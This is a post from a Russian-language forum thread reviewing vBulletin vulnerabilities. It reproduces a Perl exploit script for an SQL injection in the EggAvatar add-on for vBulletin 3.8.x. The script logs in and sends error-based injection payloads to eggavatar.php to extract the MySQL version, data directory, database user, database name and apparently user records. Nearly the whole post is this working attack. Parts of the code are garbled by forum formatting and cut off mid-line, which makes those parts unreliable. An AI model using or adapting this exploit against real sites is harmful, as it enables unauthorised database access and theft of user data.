[Обзор уязвимостей vBulletin]

#11

07.03.2011, 13:41

hatecore161

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EggAvatar for vBulletin 3.8.x SQL Injection Vulnerability

[PHP]
PHP:
[COLOR="#000000"]#!/usr/bin/env perl

useLWP::UserAgent;

sub banner{

print"###################################\n";

print"############ DSecurity ############\n";

print"###################################\n";

print"# Email:dsecurity.vn[at]gmail.com #\n";

print"###################################\n";

}

if(@ARGVnew();

$ua->agent("DSecurity");

$ua->cookie_jar({});

sub login(@){

my $username=shift;

my $password=shift;

my $req=HTTP::Request->new(POST=>$ARGV[0].'/login.php?do=login');

$req->content_type('application/x-www-form-urlencoded');

$req->content("vb_login_username=$username&vb_login_passwor=$password&s=&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&do=login& vb_login_md5password=&vb_login_md5password_utf=");

my $res=$ua->request($req);

}

sub v_request{

#Declare

$print=$_[0];

$select=$_[1];

$from=$_[2];

$where=$_[3];

$limit=$_[4];

$sleep=$ARGV[4];

if ($from eq'') {$from='information_schema.tables';}

if ($where eq'') {$where='1';}

if ($limit eq'') {$limit='0';}

if ($sleep eq'') {$sleep='10';}

# Create a request

my $req=HTTP::Request->new(POST=>$ARGV[0].'/eggavatar.php');

$req->content_type('application/x-www-form-urlencoded');

$req->content('do=addegg&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&eggavatar =1'."' and (SELECT 1 FROM(SELECT COUNT(*),CONCAT( (select$selectfrom$fromWHERE$wherelimit$limit,1),FLOOR(RAND(1)*3))foo FROM information_schema .tables GROUP BY foo)a)-- -'&uid=1&pid=1");

# Pass request to the user agent and get a response back

my $res=$ua->request($req);

#print $res->content;

if($res->content=~ /(MySQL Error)(.*?)'(.*?)0'(.*)/)

{$test= $3};

sleep($sleep);

return$print.$test."\n";

}

&banner;

print"\n############################################### ################################################## ############\n";

print"# EggAvatar for vBulletin 3.8.x SQL Injecti on Vulnerability � � � � #\n";

print"# Date:06-03-2011 #\n";

print"# Author: DSecurity #\n";

print"# Software Link: http://www.vbteam.info/vb-3-8-x-addons-and-template-modifications/19079-tk-egg-avatar.html #\n";

print"# Version: 2.3.2 � � � � � � � � #\n";

print"# Tested on: vBulletin 3.8.0 � � � � � � #\n";

print"################################################# ################################################## ##########\n";

#login

login($ARGV[1],$ARGV[2]);

#Foot print

printv_request('MySQL version: ','@@version');

printv_request('Data dir: ','@@datadir');

printv_request('User: ','user()');

printv_request('Database: ','database()');

#Get user

for($i=1;$i[COLOR="#007700"]

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